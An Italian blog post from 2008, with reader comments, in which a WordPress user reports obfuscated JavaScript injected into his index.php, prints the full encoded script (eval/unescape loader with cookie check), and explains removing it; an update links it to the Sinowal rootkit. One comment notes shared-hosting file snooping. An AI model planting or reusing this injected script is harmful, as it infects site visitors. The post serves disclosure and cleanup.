Mag
07

Code injection su WordPress: guida alla rimozione del codice maligno

WordpressCi risiamo: mi era già  successo una settimana fa e mi è successo di nuovo nelle ultime ore.. Pensavo fosse un baco di WordPress 2.5, così ho aggiornato subito alla versione 2.5.1, sperando fosse stato risolto e, invece, a quanto sembra, il problema è rimasto.

Di cosa parlo?! Di questo codice maligno (all’apparenza incomprensibile, poichè criptato in esadecimale) javascript che mi è stato iniettato nel blog (a me, così come a tanti altri bloggers che utilizzano WordPress come piattaforma):

[quickcode:noclick]
<script language=”javascript”>$=”%63b%3d%22e(d%2573);%2573t%253dtm%2570%253d%2527%2527;for(i%253d0;i%253cds%252e%256ce%256eg%25%22;st%3d%22%2573t%253d%2522$%253d%2573%2574;%2564c%2573%2528d%2561%252bd%2562%252bd%2563+%2564%2564%252b%2564e%252c%2531%2530)%253b%2564w%2528s%2574)%253bs%2574%253d%2524%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;cc%3d%2274%2568;i+%252b%2529{t%256dp%253dd%2573%252es%256c%2569ce%2528i,i%252b1%2529;st%253d%22;ce%3d%22ar%2543od%2565%2541%2574%25280)^%2528%25270%25780%2530%2527+es%2529))%253b%257d}%22;cz%3d%22%2566unc%2574ion%2520cz%2528cz)%257bre%2574ur%256e %2563a+c%2562+%2563c+%2563d+c%2565+%2563z;}%253b%22;dz%3d%22%2566un%2563t%2569on%2520dw(%2574){c%2561%253d%2527%252564%25256f%252563ume%25256et%252e%2577%252572i%2574%252565(%252522%2527;ce%253d%2527%252522)%2527;c%2562%253d%2527%25253csc%252572%2569%2570%252574 l%252561%256eg%252575a%2525%2536%2537%2565%25253%2564%25255c%25252%2532ja%2576a%2573cr%2569%252570t%25255c%2525%25322%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fsc%2572%2569p%252574%25253e%2527;eva%256c(u%256ees%2563ap%2565(t%2529)%257d%253b%22;op%3d%22%2524%253d%2522dw%2528d%2563s(%2563u%252c1%2534));%2522;%22;ca%3d%22%2566%2575%256e%2563t%2569o%256e%2520dcs%2528d%2573,%2565s%2529{d%2573%253dunesca%2570%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|“d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22s%2574+%2553tri%256e%2567.f%2572%256fmC%2568%2561rCo%2564%2565(%2528t%256dp%252ec%2568%22;%69f%20(d%6fcum%65nt%2e%63oo%6b%69%65.i%6edex%4f%66(%27%76%62ull%65tin%5fmu%6ctiq%75%6f%74e%3d%27)%3d%3d-1){sc%28%27vbu%6clet%69n%5fm%75l%74iqu%6ft%65%3d%27,2,7);%65va%6c(un%65sc%61pe%28d%7a%2bc%7a+op%2b%73t)%2b%27dw(%64z%2bcz%28$+%73t%29)%3b%27)}e%6cse{%24%3d%27%27};f%75nct%69on %73c%28cnm%2cv,e%64){%76a%72 ex%64%3dnew %44ate%28);%65xd.%73%65%74Da%74%65(ex%64.g%65tD%61%74e()%2b%65%64);%64%6fcu%6dent%2eco%6fkie%3dcnm%2b %27%3d%27 +esca%70%65(v%29+%27;ex%70i%72es%3d%27%2bex%64.%74o%47M%54%53t%72in%67%28);%7d;”;eval(unescape($));document.write($);</ script></body>
[/quickcode]

Per chi si trovasse nella mia stessa situazione, non disperate, il problema è di facile risoluzione: basta editare il file index.php (presente nella root dell’installazione di WordPress) e rimuovere brutalmente il codice indicato in precedenza.

Fatto ciò, non ci resta che sperare che lo staff di WordPress tappi questa grave falla al più presto!

Ah, dimenticavo, mi scuso con tutti voi per gli eventuali disagi provocati dal codice maligno.

AGGIORNAMENTO DELLE 22.50 DEL 07/05/2008

Bene.. ci sto capendo qualcosa di più su questa situazione alquanto strana. Anzitutto l’iniezione di codice maligno sembra non derivare da un baco di WordPress, ma di una vulnerabilità  dei server Aruba. Per approfondire l’argomento date un occhio a questo sito dove è indicato anche come eliminare il MBR rootkit/trojan Sinowal (questo è il nome del malware), nel caso in cui qualcuno di voi fosse stato infettato (spero non dal mio sito!).

Ah, di questa cosa ne ha parlato anche Napolux.

14 commenti a “Code injection su WordPress: guida alla rimozione del codice maligno”


  1. 1 Carlo
    07 Maggio 2008 alle 8:39 Quota

    CIao Paolo,
    hai dei dettagli sul problema? Un articolo di spiegazione tecnica del problema? Come è stato possibile iniettare quel codice? Come hanno modificato l’index.php aggiungenso quel tag sarebbe stato possibile modificarlo in qualunque alto modo?

    Grazie, la cosa mi incuriosisce ma al tempo stesso mi spaventa!

  2. 2 Paolo
    07 Maggio 2008 alle 8:47 Quota

    @Carlo: no, purtroppo no.. e in rete non riesco a trovare nessun articolo che ne parli, quindi non riesco effettivamente a capire nè come hanno iniettato quel codice, nè che vulnerabilità  hanno sfruttato per farlo. Eppure tra i bachi di WP 2.5, questo non era incluso. Che non se ne sia accorto neanche il team di sviluppo di WP?!

    Speriamo di avere presto delle risposte..

    Ciao, Paolo.

  3. 3 Carlo
    07 Maggio 2008 alle 9:38 Quota

    Ciao Paolo, la tua macchina è Linux o Windows ? E’ multi sito? Hai abilitato il safe_mode? Hai disabilitato le funzioni critiche di PHP? La cosa mi interessa molto perchè tocca il mio lavoro! Hai parlato di altri blog hackerati, hai qualche riferimento?

    Grazie, Carlo

  4. 4 Paolo
    07 Maggio 2008 alle 10:14 Quota

    @Carlo: linux, multi-sito (ho un hosting su Aruba), safe_mode disabilitato. Per quanto riguarda le funzioni critiche di PHP non saprei, ci pensa Aruba alla configurazione, non io.

    Questo problema di vulnerabilità  ce l’avuto anche Giuseppe D’Alessio:

    http://www.giuseppe-dalessio.it/aggiornamento-di-wordpress-alla-versione-251.html

    Ciao, Paolo.

  5. 5 croccobiscotto
    07 Maggio 2008 alle 11:31 Quota

    Ciao ma non può essere un bug di qualche plug-in?
    Per prevenire il problema non basterebbe rendere il file index.php di sola lettura?

    Comunque grazie per la segnalazione ciaoo

  6. 6 Paolo
    07 Maggio 2008 alle 13:02 Quota

    @croccobiscotto: sì, potrebbe anche essere.. ma mi sembra strano che il codice venga iniettato proprio nell’index.php di WordPress.

    Non so se possa bastare, comunque io ho dato i permessi di sola lettura a quel file (444).. speriamo bene!

    Ciao, Paolo.

  7. 7 Carlo
    07 Maggio 2008 alle 14:45 Quota

    @Paolo
    So che a molti puristi il safe_mode fa schifo, ma in un ambiente di hosting mulitplo senza averlo abilitato non vivrei serenamente. Con lo script PHP giusto e non troppo difficile puoi farti i giretti che vuoi sui file degli altri (a volte hanno bloccato il listing, ma è facilmente aggirabile), a volte li modifichi e comunque leggi la password di MySql che è in chiaro … (parlo di Linux, su ambienti Windows non ho molte esperienze di PHP). Nel tuo caso sospetterei di qualche altro utente di aruba che è hostato sulla tua stessa macchina. Verifica che non sia la stessa dell’amico che mi segnali (che tra l’altro usa anche lui WordPress).

  8. 8 Carlo
    07 Maggio 2008 alle 14:50 Quota

    @Paolo
    Ho verificato e siete su macchine diverse, quindi che sia un altro utente di Aruba a questo punto è difficile.

  9. 9 Tom
    07 Maggio 2008 alle 22:02 Quota

    Che pippa stà  cosa.
    Ma che danni ti ha provocato?

  10. 10 Paolo
    07 Maggio 2008 alle 22:50 Quota

    @Carlo: ho capito molte cose e aggiornato l’articolo.

    @Tom: a parte far incazzare Google, niente di particolare.

    Ciao, Paolo.

  11. 11 Generazione Internet
    25 Maggio 2008 alle 20:06 Quota

    Grazie mille per la segnalazione, terrò sotto controllo i files del mio blog!

  12. 12 Paolo
    25 Maggio 2008 alle 21:05 Quota

    @Generazione Internet: se non hai Aruba come hosting puoi stare abbastanza tranquillo!

    Ciao, Paolo.

  1. 1 Problema di sicurezza wordpress 2.5.1 at ..<«¿© Crà´CcòBi$à§à¶Ttò ®¿»>..
    Tracciamento con ping il 7 Mag 2008 alle 11:53
  2. 2 WP Security Scan : La soluzione definitiva ai problemi di sicurezza su Wordpress | Giuseppe D'Alessio Live Blog - Tecnologia, società  e vita in un sorso...
    Tracciamento con ping il 9 Mag 2008 alle 23:48

Lascia un commento

Nome

Email (non verrà pubblicata)

Sito web (opzionale)

Quanto fa 3 + 5 ? (protezione antispam)





Hai bisogno di un sito web?

Web&Dintorni

Vuoi collaborare a questo blog?

Ogni tipo di collaborazione è benvenuta!


Scrivimi all'indirizzo paolo.gatti@gmail.com o invia un messaggio sulla pagina Facebook!